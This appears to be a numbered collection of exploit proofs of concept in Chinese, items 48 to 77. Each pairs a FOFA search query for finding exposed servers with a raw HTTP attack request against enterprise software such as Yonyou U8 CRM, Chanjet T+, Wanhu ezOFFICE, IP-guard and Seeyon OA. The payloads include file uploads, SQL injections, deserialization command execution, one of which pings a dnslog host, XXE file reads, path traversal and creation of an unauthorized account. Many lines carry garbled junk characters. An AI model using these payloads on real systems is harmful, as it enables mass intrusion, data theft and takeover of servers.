# w: Q8 s- q5 \( r48. 用友U8 CRM swfupload 任意文件上传
0 X  F: V! V" R2 ^7 OFOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
3 n0 h  \4 U# O8 d: J( d) [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
+ D+ H! I+ i) ]! ?2 u------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
- Z0 w/ s; m* i+ z0 S7 ^) P1231
Content-Type: application/octet-stream
% V( p6 o2 X* k" Y1 k/ @; V- t/ M------269520967239406871642430066855
) g4 i7 ]: m! c) T6 cContent-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--

: ^/ T9 d5 m' I' O8 O, H
* c. P% T7 l1 ?# z9 ]: ]# \) s  n( A49. 用友U8 CRM系统uploadfile.php接口任意文件上传
. a" i+ p# B! D  b1 @  IFOFA：body="用友U8CRM"
/ v5 z: \1 z8 r
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
3 V* R- r( `2 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
( ~5 `7 Q3 }4 h9 rContent-Length: 329
1 \* p  w0 z+ o6 zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 k) m2 u( B9 J- }& E4 gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
3 k" v! }, c8 z; Z: m1 _) qContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
8 s) y$ Q  o; DContent-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream
+ y- ]$ W5 \3 X3 {
- N7 k, A' y# ~4 f4 W: B7 uwersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
0 p! Q$ l2 u- j4 L2 M9 w  dContent-Disposition: form-data; name="upload"
8 \  m( e. P8 P# D. [/ g. _8 p3 Q
, f( J) o7 o$ H0 i. cupload
-----------------------------vvv3wdayqv3yppdxvn3w--
3 f3 J( V0 L# Y7 |- z7 Q
- r+ V! N9 _- A" c  R
  `, Y- _1 @% H, Jhttp://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
" B) r' g$ ]# p" PFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
+ \$ \2 Z2 l+ M' m9 _4 YConnection: close
Content-Length: 224
' b( X; ~# `4 {3 O  `7 v0 QAccept: */*
: }5 g, E* p3 T7 j3 q$ BAccept-Language: en
( S* H7 z2 v: YContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
# a% ^1 _9 x. I/ F9 q4 l) a

51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
+ T9 O" b  y) b0 @9 G5 nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
: V; V  Y' P0 R( S( n4 |9 LAccept-Encoding: gzip, deflate
2 u' O- X0 H, S  I# n, sAccept-Language: zh-CN,zh;q=0.9
Connection: close
+ q& N7 a# `3 {  o' {7 T+ O$ i

52. 泛微E-Office json_common.php sql注入
" W8 C) t7 G  v! f4 J4 XFOFA：app="泛微-EOffice"
* E+ |& }; C. zPOST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
5 X; X, d& |% y4 ^/ }, z( fConnection: close
; r/ k" w* W$ p. S' ?1 a- n' pContent-Length: 87
Accept: */*
0 a# G% z3 d% C7 b! F3 w1 \Accept-Language: en
Content-Type: application/x-www-form-urlencoded
/ ?; g3 x! p3 P* ?9 e+ z. q3 V  ?Accept-Encoding: gzip
$ N6 ]$ a# T$ `% P
7 @3 f# i# C( P. @tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


53. 迪普 DPTech VPN Service 任意文件上传
- |& d) @. ~. x+ U4 d/ m; mFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
9 u1 x/ F) v; u: e3 k6 N

54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
9 `+ I. ?4 {( L% j; n

完整数据包
' G& I6 m+ A( u8 F+ |4 a4 cPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
( X7 o1 h& I  p) g9 y6 sHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
* e; T5 k5 l7 VContent-Length: 593
5 q9 F9 M$ R) Y
7 j- e# i5 v- O7 u9 U+ L' l{
"storeID":{
4 c% x! }3 L. v; [# Z "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
7 ^$ C" B. M; ~/ I" C "MethodName":"Start",
  "ObjectInstance":{
' F7 g) G% B8 l2 `; T* |   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
5 s% _4 P# \% e* L# o. f   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
6 l6 J; |; v. P) A: Y; r3 m    "FileName":"cmd",
% C' j- l: U# _    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
& T( S8 H0 }9 B    }
! k! ]+ o+ Q9 c+ q4 a7 W! N' ^  }
  }
! I5 v9 j8 J- k: _9 I" j" Q}
. ]1 ~  h# F, T7 M% I. r$ O2 D
1 Z1 k1 ^5 ?2 g: [+ I5 `* j& n* P
) Y# B7 w5 b3 q1 G# D& L$ J1 j第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

$ q5 B% F1 |# q; H( o
55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
# m% ^1 ^: _6 ~0 B9 s9 ~' m第一步，通过
" F' x2 u( p: P: ]' x/ C. ^/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
- V- X3 B- \8 L# R5 c5 Q第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
$ Q: R3 m& S7 I$ `/ OPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
) B, ?0 t0 V3 k8 p7 K+ ZHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
, S5 ]- O8 T& O5 z0 R4 L! tContent-Type: application/json
! S# B" G) N% a0 U  Y
{
  "storeID":{
2 a$ a. {& [1 Z4 `: N% ^6 t    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
. x1 U' ~; n% E2 R   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
3 c& r! q  b! Z1 _, a/ y* Q           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
- p9 O' b0 J! z8 [9 p           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
% J) k. K8 g3 a& |, u) R       }
- R8 o9 b- r( T  w, e; A    }
! v+ x# u. X5 k  }
}


" W- b  o. u5 w/ P$ z57. 畅捷通T+ keyEdit.aspx SQL注入
- g+ ]. a7 U% v& J0 p, h5 X( JFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
" o- ?; R- a0 R; i( |# ?Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
4 k2 L7 O: c$ O9 `3 o4 \Accept-Charset: utf-8
. `0 f' G6 i( |  N4 r' u9 p0 x! MAccept-Encoding: gzip, deflate
Connection: close
' e( w; k# D4 r. Y  \
! i3 M  K# ~! s; }9 ~8 F
58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
' J" _1 U. b4 _  S# O1 _Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
; F& Z9 U# I* J* aConnection: close
& I+ ^' g' l% g$ z( [; _1 R$ C. |/ m

! E% b- {1 t2 D/ N59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
- X* G7 F8 n! q; k9 bContent-Length: 1669
. F0 ^. l1 g) GAccept: */*
: H( d- k, J6 z2 v0 VAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
4 d( b/ }# }) q( O
' G4 e4 \( |% ?/ u3 _! ~. C6 |PAYLOAD

6 T1 y- y$ R1 Y
! b9 T# ]9 ^! f60. 百卓Smart管理平台 importexport.php SQL注入
$ E+ Q2 B0 `% l) Q& r# e) l  ^FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
% X# d% C# ?- j  r$ jHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
; E) X8 Y2 h: O1 G- F. h$ ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
! F/ n# j6 n; A- aAccept-Language: zh-CN,zh;q=0.9
- z5 V6 h% X2 M* J8 B& O- Q; IConnection: close
3 w. i& u; t1 P9 Y1 v. u3 L) E

4 i# q7 @( g# h61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
% l, \  r' v/ A8 ?6 iFOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
' s1 M+ j+ x9 ^# }: I4 GHost: x.x.x.x
' |: p# O% ?7 ~+ IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ d, O3 R, t& ~* oConnection: close
Content-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
3 e+ S+ X/ J" K. q  rAccept-Language: en
Content-Type: application/x-www-form-urlencoded
8 X+ {1 B1 w# L4 j* w4 Y2 `9 S9 Z
8uxssX66eqrqtKObcVa0kid98xa
4 {' u* {/ }$ Q3 |

62. IP-guard WebServer 远程命令执行
6 a/ e6 B- o+ ^FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
) {* h) e  r7 m1 F  X5 }# SHost: x.x.x.x
/ \5 r* D% f6 Q! Z7 A+ `% dUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
! r1 z4 G1 h5 X) `& d% v" j. H2 EAccept-Language: en
' m4 Q% E" b* ]: v5 }3 |; h4 s: HAccept-Encoding: gzip
& E6 g, R8 G5 P1 u
! F' C2 l7 H9 s8 Z8 L; A0 r
2 U3 J# Z0 ~9 L) t" N3 o访问

( m7 b8 [, B& W8 E3 L! F# B1 mGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
/ a2 ^; z. t# o6 D: mHost: x.x.x.x
" L4 m% s% L0 M2 L' L

* Y! B9 B: ], A7 ^( ?63. IP-guard WebServer任意文件读取
) E! `5 e% U5 p/ y. e( t2 o4 UIP-guard < 4.82.0609.0
: l5 S; L" l( b* dFOFA：icon_hash="2030860561"
0 ^1 _/ r$ K8 R  RPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
0 }# x' J  y6 jHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
! ~+ Z; a6 T5 |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
' Y" r- |* B" g
" L, L3 w6 w. r9 @. p2 Zpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
2 J/ u8 P! m1 e3 n- B( I4 u& d* jFOFA：body="/Scripts/EnjoyMsg.js"
8 v+ J7 ^+ Q5 _& A* g! P! a6 S' F: EPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
' E; u0 {  d9 ?( ^4 r% a+ G& B0 \/ }Host: 192.168.86.128:9001
) Z% u( p" [4 v8 B. v# FUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
! `2 i) S( D+ Z1 n4 C$ v3 LContent-Length: 369
Accept: */*
  \7 L( m3 k2 GAccept-Language: en
8 f3 d( |0 f) ]9 X. _2 j! VContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
& C5 @0 O6 U% o, [" O+ s/ Q+ g8 p% w<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
1 I( `7 h+ _  N    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
9 _# H" Y3 K2 y7 a% \</soap:Envelope>

" v4 E* F9 d, e3 e" p& X
+ a& e" ^, p& W65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
+ ^# f7 p) p0 L; l$ {1 oFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
4 }& G( i6 w! ?Host:
$ T- B* ?5 m' ~' h( y9 D- [User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
4 _! S# e! W6 t& e1 d0 LConnection: close
7 @' q4 B& ^9 v( e8 W0 u$ q% YAccept-Language: en
' ^) {/ G# `7 \Content-Length: 174

operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
5 T2 P; l$ v3 ]& f' I- P

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
) _1 i7 i  P7 _( m8 m# IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
7 E  V  R# }' b  n- t  W7 R2 jConnection: close
, o, h$ Q) ]  M7 Y6 j% {Accept: */*
- I/ U8 D! G3 y) n) cAccept-Language: en
0 v9 l& a  x2 x; e9 qAccept-Encoding: gzip
8 B+ I* U/ S" s! a0 Z* F1 y
* g9 d' A0 F9 g9 c1 ?5 j+ J
; B8 b- w  D. t# q1 Z第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
, ^8 C1 K9 a; J7 V1 W+ O4 ~+ e
67. 万户ezOFFICE wpsservlet任意文件上传
0 n% N8 j% B5 u3 \) |6 w) G% DFOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
- I+ J% ]6 Y& R6 Z: v4 ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
) {$ {# O; K& MContent-Length: 173
0 t+ J  L" M3 e1 n/ n, z, M& jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
% C" w( }! H6 _% g' I5 p) OAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
( m4 W$ {1 h1 FConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
. A( A# c& \* T5 }: rDNT: 1
Upgrade-Insecure-Requests: 1
6 v4 A2 T0 ]  N3 g7 F. e" t4 N# h( k
2 L2 m8 t3 j! |2 j: c+ p8 s--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

<% out.print("sasdfghjkj");%>
6 l2 a! X0 |) K  A- L--ufuadpxathqvxfqnuyuqaozvseiueerp--

) u" e* s* u; J$ ?- G
6 k/ P+ j) g7 k# ?) Y2 E文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

- S( f9 m9 U1 L. I$ K68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
, ?6 I$ D) _- Y$ z  o- |GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
4 b6 G/ t  q/ U, c4 M4 @Host: {{host}}
7 K6 Q9 K7 H) b; |/ u0 VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
6 U4 O" l+ \8 c% LAccept-Language: zh-CN,zh;q=0.9
Connection: close

) @( P! M  e, O
69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
- M6 P* j7 P( VUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
' }% r+ U8 @0 p$ U* T, FConnection: keep-alive
1 |4 j/ A2 o! n  |  n2 d

- d' `" `+ U* r, ~3 F70. 万户ezEIP success 命令执行
: r1 e: E3 H+ C8 R; x( M$ U, t0 ?. EFOFA：app="万户网络-ezEIP"
3 x) i' h1 M. g3 {0 K- V0 {POST /member/success.aspx HTTP/1.1
% O* B& R; C/ \7 x; j! aHost: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
3 t4 [- r: g3 ?0 n5 h$ r6 {# xSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
$ T# b$ A4 B7 K/ n' B3 ]Content-Type: application/x-www-form-urlencoded
' [, e/ ]2 O7 K3 |' l% Z4 [TYPE: C
7 l- h4 P  ]2 a+ QContent-Length: 16702
3 I1 `% p3 X+ {9 X5 V$ y
__VIEWSTATE=PAYLOAD

( v# h9 Y9 W( s, [, e$ A- Y4 f' ?) V
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
/ p- Y# |" ?$ J# hGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
9 r, S3 C' S1 G$ A4 IHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
# i  A' N; W0 m( {4 yConnection: close
9 k- `8 c% r+ o1 k4 x/ T3 `6 l2 WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 r4 ?1 [: f5 F. w" cAccept-Encoding: gzip, deflate
! q: g. P3 j. \  KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
& i( r. Z+ L  X

- X# o6 @$ G) z5 R72. 致远OA getAjaxDataServlet XXE
, r$ j" w9 \+ J; D+ wFOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
, T2 p7 a5 |/ uHost: 192.168.40.131:8099
! r* N: x4 p: H* {" O  oUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
5 y& K2 H5 s% @Content-Length: 583
Content-Type: application/x-www-form-urlencoded
8 P' W0 K+ ^. o% y6 A3 PAccept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
6 R+ t3 G' ]; ]( a- I

73. GeoServer wms远程代码执行
# S+ Y. |& b/ e; {2 i: m0 mFOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
( g$ ]7 A( Q* Z; J0 ^7 h4 cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
: b! ], u& ?6 z$ CAccept-Encoding: gzip, deflate
Connection: close
- a/ f# _0 t+ l7 jContent-Type: application/xml
SL-CE-SUID: 3
7 S; ]- F# d5 y, h6 D' q4 {: Y$ o. }1 d
: {( L6 \" |8 R& `0 t3 y" [8 fPAYLOAD
4 e' G6 K# e. I: T7 H
0 d2 f8 g! T+ R0 T8 O' \( U
1 ]- @) r* c. j+ ?" X7 C74. 致远M3-server 6_1sp1 反序列化RCE
" D. K! n! c6 b' D$ t& S( CFOFA：title="M3-Server"
PAYLOAD
' r1 n0 t- y- n' q
% e8 a5 G/ ]- R& z75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 a+ B6 e1 S2 a% h+ ZConnection: close
Accept: */*
/ t% H+ q4 L, V8 sAccept-Language: en
Accept-Encoding: gzip
1 W( l( V7 \% q7 P

GET /cgi-bin/test28256.txt HTTP/1.1
9 g0 U* p& r: l5 t! S( GHost: x.x.x.x


76. 新开普掌上校园服务管理平台service.action远程命令执行
0 ^0 P5 _6 T( }FOFA：title="掌上校园服务管理平台"
% S6 s( l) l8 U* a1 [# ^; xPOST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
  T% }8 B% ]8 j7 z+ U3 xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
$ D- D1 E" l% D) d' v3 H: uConnection: close
. i3 a5 q( L$ O! e* s6 ^Content-Length: 211
' s3 o7 B4 H3 R$ ^9 TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
$ J. |8 |! d" L9 p; pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ w3 _$ p- Q+ N, |+ O( R  nCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
; T0 B: {  G, u+ WUpgrade-Insecure-Requests: 1

0 @# w, |. j+ m. r' n! a, C{
"command": "GetFZinfo",
) n3 b' M( e$ Z1 R& |6 E3 d. H  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
$ l3 m# U- n2 k1 |* J1 n0 S- d}

- P: z! A2 G9 P
/ ]9 O( M! g8 aGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
1 ]" e8 D- G7 B* C( a2 [1 D5 z' e. o( p
1 E! i6 s2 b, S
* ^9 _! A& U# S; C# x
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
